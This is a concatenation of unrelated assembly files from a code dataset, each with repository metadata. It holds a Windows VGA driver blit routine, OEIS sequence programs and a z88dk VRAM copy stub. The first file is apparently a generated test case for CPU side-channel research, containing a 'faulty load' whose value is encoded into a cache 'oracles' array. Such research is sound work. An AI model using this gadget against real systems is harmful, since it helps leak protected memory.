d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_msge0.asm Type: file Size: 151156 Last-Modified: '2016-05-13T04:52:56Z' SHA-1: 90C3DB48333DC0C943D7FABAC9CD0CF5D69F5B63 Description: null
21
47
0.816327
7b250446c716747f1a578bb026fd0c4ad077ad00
6,629
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1317.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1317.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1317.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x4409, %rsi lea addresses_UC_ht+0x1a17d, %rdi clflush (%rsi) nop nop nop sub %rbx, %rbx mov $87, %rcx rep movsb sub $10174, %rdi lea addresses_WT_ht+0x1289b, %rcx clflush (%rcx) nop nop nop nop inc %r9 mov (%rcx), %si and $32340, %rbx lea addresses_A_ht+0x11ccd, %rsi lea addresses_WT_ht+0x13b53, %rdi clflush (%rsi) and %r9, %r9 mov $83, %rcx rep movsw add %rsi, %rsi lea addresses_A_ht+0x15019, %rcx nop nop nop sub $3786, %r15 movups (%rcx), %xmm2 vpextrq $0, %xmm2, %rsi nop nop nop nop inc %rcx lea addresses_WT_ht+0x14219, %rsi lea addresses_UC_ht+0x18c19, %rdi nop nop nop cmp %r11, %r11 mov $94, %rcx rep movsl nop nop nop cmp %r9, %r9 lea addresses_WT_ht+0x1a019, %rbx nop xor $30367, %rcx mov (%rbx), %si nop nop nop nop nop add %r15, %r15 lea addresses_normal_ht+0x14819, %r15 nop cmp $18916, %rbx movw $0x6162, (%r15) inc %r11 lea addresses_WT_ht+0x10db9, %rdi nop nop sub %r11, %r11 mov (%rdi), %si nop nop nop dec %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %r9 push %rax push %rbx // Store lea addresses_WT+0x5019, %r9 nop nop nop nop cmp %r10, %r10 mov $0x5152535455565758, %r13 movq %r13, %xmm6 movups %xmm6, (%r9) nop xor $46319, %r15 // Load lea addresses_RW+0x70e1, %r12 nop nop nop nop dec %r9 movb (%r12), %r13b nop nop nop nop and $24761, %rbx // Load lea addresses_normal+0x17bc5, %r10 nop inc %rax mov (%r10), %r9w nop nop nop nop nop sub $2957, %rax // Faulty Load lea addresses_WT+0x5019, %r9 nop nop nop nop xor $7498, %rax mov (%r9), %r12w lea oracles, %r10 and $0xff, %r12 shlq $12, %r12 mov (%r10,%r12,1), %r12 pop %rbx pop %rax pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.027174
2,999
0.655001
fbccde749490f165e1080b044bd631928a8e2f64
19,434
asm
Assembly
drivers/video/ms/vga/disp/8bpp/i386/srccopy.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
drivers/video/ms/vga/disp/8bpp/i386/srccopy.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
drivers/video/ms/vga/disp/8bpp/i386/srccopy.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
;---------------------------Module-Header------------------------------; ; Module Name: srccopy.asm ; ; Copyright (c) 1993 Microsoft Corporation ;-----------------------------------------------------------------------; ;-----------------------------------------------------------------------; ; VOID vSrcCopy8bpp(ppdev, psoSrc, prclDst, pptlSrc, lSrcDelta, pvSrcStart); ; ; Input: ; ; ppdev - screen pdev ; psoSrc - source surface ; prcldest - pointer to destination rectangle ; pptlsrc - pointer to source upper left corner ; lSrcDelta - offset from start of one scan to next in source ; pvSrcStart - pointer to start of bitmap ; ; Performs 8bpp SRCCOPY memory-to-screen blts. ; ;-----------------------------------------------------------------------; ; NOTE: Assumes all rectangles have positive heights and widths. Will ; not work properly if this is not the case. ;-----------------------------------------------------------------------; ;-----------------------------------------------------------------------; .386 .model small,c assume cs:FLAT,ds:FLAT,es:FLAT,ss:FLAT assume fs:nothing,gs:nothing .xlist include stdcall.inc ;calling convention cmacros include i386\strucs.inc include i386\driver.inc include i386\egavga.inc .list ;-----------------------------------------------------------------------; .data ;-----------------------------------------------------------------------; .code ;-----------------------------------------------------------------------; cProc vSrcCopy8bpp,20,< \ uses esi edi ebx, \ ppdev: ptr PDEV, \ prclDst: ptr RECTL, \ pptlSrc: ptr POINTL, \ lSrcDelta: dword, \ pvSrcStart: ptr > local culMiddle: dword ;# of dwords in middle local cyToGo: dword ;# of scans to copy after the current bank local pfnLoopVector:ptr ;vector to appropriate copying loop local pvSrc: ptr ;source pointer mov esi,prclDst ;esi = prclDest mov ebx,ppdev ;ebx = ppdev mov edi,[esi].yTop cmp edi,[ebx].pdev_rcl1WindowClip.yTop jl short src8_map_init_bank mov edx,[ebx].pdev_rcl1WindowClip.yBottom ;edx = ppdev->rcl1WindowClip.bottom cmp edi,edx jl short src8_init_bank_mapped src8_map_init_bank: ptrCall <dword ptr [ebx].pdev_pfnBankControl>, \ <ebx,edi,JustifyTop> mov edx,[ebx].pdev_rcl1WindowClip.yBottom src8_init_bank_mapped: mov eax,[esi].yBottom sub eax,edx mov cyToGo,eax ;eax = # scans to do after this bank sbb ecx,ecx and ecx,eax add edx,ecx ;edx = min(prclDst->bottom, ; ppdev->rcl1WindowClip.bottom) sub edx,edi ;edx = # of scans to do in this bank ; ebx = ppdev ; edx = # of scans to do in this bank ; esi = prclDst mov eax,[esi].xLeft add eax,3 and eax,not 3 ;eax = xLeft aligned to next dword mov edi,pptlSrc ;edi = pptlSrc mov ecx,lSrcDelta imul ecx,[edi].ptl_y add ecx,[edi].ptl_x add ecx,eax sub ecx,[esi].xLeft add ecx,pvSrcStart mov pvSrc,ecx ;pvSrc = pptlSrc->y * lSrcDelta + ; pptlSrc->x + dest alignment + ; pvSrcStart mov edi,[ebx].pdev_lNextScan imul edi,[esi].yTop add edi,eax add edi,[ebx].pdev_pvBitmapStart ;edi = prclDst->top * ppdev->lNextScan + ; aligned left + ppdev->pvBitmapStart ; (the aligned destination address) ; eax = prclDst->left aligned to dword ; ebx = ppdev ; edx = # of scans to do in this bank ; esi = prclDst ; edi = destination address mov ecx,[esi].xRight ;esi = prclDst->right sub ecx,eax ;ecx = length in bytes from first full ; dword to last byte jl short src8_one_dword ;special case if the destination ; starts and ends in the same dword mov eax,ecx and ecx,not 3 ;ecx = length of middle dwords in bytes sub eax,ecx ;eax = (right & 3) mov esi,[esi].xLeft and esi,3 ;esi = (left & 3) shl eax,2 or esi,eax ;esi = ((right & 3) << 2) | (left & 3) ; (look-up index for loop vectors) mov ebx,[ebx].pdev_lNextScan sub ebx,ecx ;ebx = ppdev->lNextScan ; - (culMiddle << 2) ; (destination delta) mov eax,lSrcDelta sub eax,ecx ;eax = lSrcDelta - (culMiddle << 2) ; (source delta) shr ecx,2 mov culMiddle,ecx ;culMiddle = number of middle dwords ; eax = source delta ; ebx = destination delta ; ecx = ; edx = # scans to do ; esi = flags ; edi = destination pointer ; Set up for loop entry mov ecx,gapfnMasterCopyTable[esi*4] ;every loop vector is a dword mov esi,pvSrc mov pfnLoopVector,ecx ;save loop vector for next bank jmp ecx ;-----------------------------------------------------------------------; ; Here we handle cases where copy starts and ends in same dword: public src8_one_dword src8_one_dword:: sub eax,[esi].xLeft ;eax = # of bytes from left edge to ; first dword add ecx,eax ;ecx = # of bytes to do sub edi,eax ;adjust back to start byte sub pvSrc,eax ;adjust accordingly mov ebx,[ebx].pdev_lNextScan;ebx = ppdev->lNextScan ; (destination delta) mov eax,lSrcDelta ;eax = lSrcDelta ; (source delta) ; eax = source delta ; ebx = destination delta ; esi = ; edx = # scans to do ; ecx = flags ; edi = destination pointer ; Set up for loop entry dec ecx ;adjust for table (no zero entry) mov ecx,gapfnOneDwordCopyTable[ecx*4] mov esi,pvSrc mov pfnLoopVector,ecx ;save loop vector for next bank jmp ecx ;-----------------------------------------------------------------------; ; We have following variables set before calling loops: ; ; eax = source delta (from end of dwords to start of dwords on next scan) ; ebx = destination delta ; edx = # of scans ; esi = source pointer ; edi = destination pointer ; culMiddle = number of dwords to copy ;-----------------------------------------------------------------------; ; See if done. If not, get next bank. public src8_done src8_done:: cmp cyToGo,0 jg short src8_next_bank cRet vSrcCopy8bpp src8_next_bank: push esi push ebx ;save some registers mov ebx,ppdev push eax mov esi,[ebx].pdev_rcl1WindowClip.yBottom sub edi,[ebx].pdev_pvBitmapStart ptrCall <dword ptr [ebx].pdev_pfnBankControl>, \ <ebx,esi,JustifyTop> add edi,[ebx].pdev_pvBitmapStart mov edx,[ebx].pdev_rcl1WindowClip.yBottom sub edx,esi ;edx = # scans can do in this bank mov eax,cyToGo sub eax,edx mov cyToGo,eax ;eax = # scans to do after this bank sbb ecx,ecx and ecx,eax add edx,ecx ;edx = min(# of scans can do in bank, ; # of scans to go) pop eax ;restore those registers pop ebx pop esi jmp pfnLoopVector ;-----------------------------------------------------------------------; ; We organize the tables as follows so that it's easy to index into them: ; ; Bits 2 and 3 = # of trailing bytes ; Bits 0 and 1 = # of leading bytes to skip in first dword align 4 gapfnMasterCopyTable label dword dd copy_wide_w_00_loop dd copy_wide_w_30_loop dd copy_wide_w_20_loop dd copy_wide_w_10_loop dd copy_wide_w_01_loop dd copy_wide_w_31_loop dd copy_wide_w_21_loop dd copy_wide_w_11_loop dd copy_wide_w_02_loop dd copy_wide_w_32_loop dd copy_wide_w_22_loop dd copy_wide_w_12_loop dd copy_wide_w_03_loop dd copy_wide_w_33_loop dd copy_wide_w_23_loop dd copy_wide_w_13_loop align 4 gapfnOneDwordCopyTable label dword dd copy_thin_t_1_loop dd copy_thin_t_2_loop dd copy_thin_t_3_loop ;-----------------------------------------------------------------------; ; Copy n dwords, 0 leading bytes, 0 trailing bytes, then advance to next ; scan line. copy_wide_w_00_loop:: mov ecx,culMiddle rep movsd add esi,eax add edi,ebx dec edx jnz copy_wide_w_00_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 0 leading bytes, 1 trailing bytes, then advance to next ; scan line. copy_wide_w_01_loop:: mov ecx,culMiddle rep movsd mov cl,[esi] mov [edi],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_01_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 0 leading bytes, 2 trailing bytes, then advance to next ; scan line. copy_wide_w_02_loop:: mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx add esi,eax add edi,ebx dec edx jnz copy_wide_w_02_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 0 leading bytes, 3 trailing bytes, then advance to next ; scan line. copy_wide_w_03_loop:: mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx mov cl,[esi+2] mov [edi+2],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_03_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 1 leading byte, 0 trailing bytes, then advance to next ; scan line. copy_wide_w_10_loop:: mov cl,[esi-1] mov [edi-1],cl mov ecx,culMiddle rep movsd add esi,eax add edi,ebx dec edx jnz copy_wide_w_10_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 1 leading byte, 1 trailing bytes, then advance to next ; scan line. copy_wide_w_11_loop:: mov cl,[esi-1] mov [edi-1],cl mov ecx,culMiddle rep movsd mov cl,[esi] mov [edi],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_11_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 1 leading byte, 2 trailing bytes, then advance to next ; scan line. copy_wide_w_12_loop:: mov cl,[esi-1] mov [edi-1],cl mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx add esi,eax add edi,ebx dec edx jnz copy_wide_w_12_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 1 leading byte, 3 trailing bytes, then advance to next ; scan line. copy_wide_w_13_loop:: mov cl,[esi-1] mov [edi-1],cl mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx mov cl,[esi+2] mov [edi+2],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_13_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 2 leading bytes, 0 trailing bytes, then advance to next ; scan line. copy_wide_w_20_loop:: mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd add esi,eax add edi,ebx dec edx jnz copy_wide_w_20_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 2 leading bytes, 1 trailing bytes, then advance to next ; scan line. copy_wide_w_21_loop:: mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cl,[esi] mov [edi],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_21_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 2 leading bytes, 2 trailing bytes, then advance to next ; scan line. copy_wide_w_22_loop:: mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx add esi,eax add edi,ebx dec edx jnz copy_wide_w_22_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 2 leading bytes, 3 trailing bytes, then advance to next ; scan line. copy_wide_w_23_loop:: mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx mov cl,[esi+2] mov [edi+2],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_23_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 3 leading bytes, 0 trailing bytes, then advance to next ; scan line. copy_wide_w_30_loop:: mov cl,[esi-3] mov [edi-3],cl mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd add esi,eax add edi,ebx dec edx jnz copy_wide_w_30_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 3 leading bytes, 1 trailing bytes, then advance to next ; scan line. copy_wide_w_31_loop:: mov cl,[esi-3] mov [edi-3],cl mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cl,[esi] mov [edi],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_31_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 3 leading bytes, 2 trailing bytes, then advance to next ; scan line. copy_wide_w_32_loop:: mov cl,[esi-3] mov [edi-3],cl mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx add esi,eax add edi,ebx dec edx jnz copy_wide_w_32_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy n dwords, 3 leading bytes, 3 trailing bytes, then advance to next ; scan line. copy_wide_w_33_loop:: mov cl,[esi-3] mov [edi-3],cl mov cx,[esi-2] mov [edi-2],cx mov ecx,culMiddle rep movsd mov cx,[esi] mov [edi],cx mov cl,[esi+2] mov [edi+2],cl add esi,eax add edi,ebx dec edx jnz copy_wide_w_33_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy 1 byte, then advance to next scan line. copy_thin_t_1_loop:: mov cl,[esi] mov [edi],cl add esi,eax add edi,ebx dec edx jnz copy_thin_t_1_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy 2 bytes, then advance to next scan line. copy_thin_t_2_loop:: mov cx,[esi] mov [edi],cx add esi,eax add edi,ebx dec edx jnz copy_thin_t_2_loop jmp src8_done ;-----------------------------------------------------------------------; ; Copy 3 bytes, then advance to next scan line. copy_thin_t_3_loop:: mov cx,[esi] mov [edi],cx mov cl,[esi+2] mov [edi+2],cl add esi,eax add edi,ebx dec edx jnz copy_thin_t_3_loop jmp src8_done public copy_wide_w_00_loop public copy_wide_w_01_loop public copy_wide_w_02_loop public copy_wide_w_03_loop public copy_wide_w_10_loop public copy_wide_w_11_loop public copy_wide_w_12_loop public copy_wide_w_13_loop public copy_wide_w_20_loop public copy_wide_w_21_loop public copy_wide_w_22_loop public copy_wide_w_23_loop public copy_wide_w_30_loop public copy_wide_w_31_loop public copy_wide_w_32_loop public copy_wide_w_33_loop public copy_thin_t_1_loop public copy_thin_t_2_loop public copy_thin_t_3_loop endProc vSrcCopy8bpp end
30.701422
81
0.438047
57f45ed383d1974933208a80d090e4d752c3570d
504
asm
Assembly
oeis/330/A330316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/330/A330316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/330/A330316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A330316: a(n) = r(n)*r(n+1)/4, where r(n) = A004018(n) is the number of ways of writing n as a sum of two squares. ; Submitted by Jon Maiga ; 1,4,0,0,8,0,0,0,4,8,0,0,0,0,0,0,8,8,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,0,0,0,8,0,0,0,16,0,0,0,0,0,0,0,0,12,0,0,16,0,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,0,0,0,8,16,0,0,0,0,0,0,8,8,0,0,0,0,0,0,0,16,0,0,0,0,0,0,0,8,0,0 add $0,1 bin $0,2 seq $0,4018 ; Theta series of square lattice (or number of ways of writing n as a sum of 2 squares). Often denoted by r(n) or r_2(n).
63
208
0.609127
aa92043d14d021d7534699b09c375f95a09fc9ec
397
asm
Assembly
oeis/307/A307618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/307/A307618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/307/A307618.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A307618: A Calabi-Yau period integral: a(n) = C(4*n,2*n)*C(2*n,n)^3. ; Submitted by Jon Maiga ; 1,48,15120,7392000,4414410000,2956651746048,2133278987583744,1621682968820428800,1281351259836532170000,1043032815185819858400000,869343653096068540955685120,738637974389826550020188712960,637665137404661719206664998969600 mov $1,$0 mul $0,2 bin $0,$1 seq $1,8977 ; a(n) = (4*n)!/(n!)^4. mul $0,$1
39.7
224
0.770781
b7fff2df357dfdca5a07a270e267c9a509e8895c
265
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_copy_vram_to_mem_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_copy_vram_to_mem_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_copy_vram_to_mem_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *sms_copy_vram_to_mem(void *dst, unsigned int n) SECTION code_clib SECTION code_crt_common PUBLIC sms_copy_vram_to_mem_callee EXTERN asm_sms_copy_vram_to_mem sms_copy_vram_to_mem_callee: pop hl pop bc ex (sp),hl jp asm_sms_copy_vram_to_mem
15.588235
55
0.803774
f420cbd0d2e81a986b213ab7c48f04a49f38f93c
1,434
asm
Assembly
programs/oeis/280/A280014.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/280/A280014.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/280/A280014.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A280014: Numbers n == +- 2 (mod 10) but not n == 2 (mod 6). ; 12,18,22,28,42,48,52,58,72,78,82,88,102,108,112,118,132,138,142,148,162,168,172,178,192,198,202,208,222,228,232,238,252,258,262,268,282,288,292,298,312,318,322,328,342,348,352,358,372,378,382,388,402,408,412,418,432,438,442,448,462,468,472,478,492,498,502,508,522,528,532,538,552,558,562,568,582,588,592,598,612,618,622,628,642,648,652,658,672,678,682,688,702,708,712,718,732,738,742,748,762,768,772,778,792,798,802,808,822,828,832,838,852,858,862,868,882,888,892,898,912,918,922,928,942,948,952,958,972,978,982,988,1002,1008,1012,1018,1032,1038,1042,1048,1062,1068,1072,1078,1092,1098,1102,1108,1122,1128,1132,1138,1152,1158,1162,1168,1182,1188,1192,1198,1212,1218,1222,1228,1242,1248,1252,1258,1272,1278,1282,1288,1302,1308,1312,1318,1332,1338,1342,1348,1362,1368,1372,1378,1392,1398,1402,1408,1422,1428,1432,1438,1452,1458,1462,1468,1482,1488,1492,1498,1512,1518,1522,1528,1542,1548,1552,1558,1572,1578,1582,1588,1602,1608,1612,1618,1632,1638,1642,1648,1662,1668,1672,1678,1692,1698,1702,1708,1722,1728,1732,1738,1752,1758,1762,1768,1782,1788,1792,1798,1812,1818,1822,1828,1842,1848,1852,1858,1872,1878 mov $1,$0 mov $2,$0 add $2,2 mov $3,$0 add $0,3 lpb $0,1 sub $0,1 trn $0,1 mov $4,2 add $4,$2 mov $2,4 add $2,$0 add $2,$1 sub $2,$0 add $2,2 sub $4,5 mov $5,0 add $5,$4 mov $1,$5 lpe mul $1,2 lpb $3,1 add $1,4 sub $3,1 lpe add $1,6
47.8
1,107
0.70781
3f6dd56a1bff5e5e937a28fe093b07277481efdd
6,150
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i7-7700_9_0xca_notsx.log_1806_1963.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i7-7700_9_0xca_notsx.log_1806_1963.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_/i7-7700_9_0xca_notsx.log_1806_1963.asm
ljhsiun2/medusa
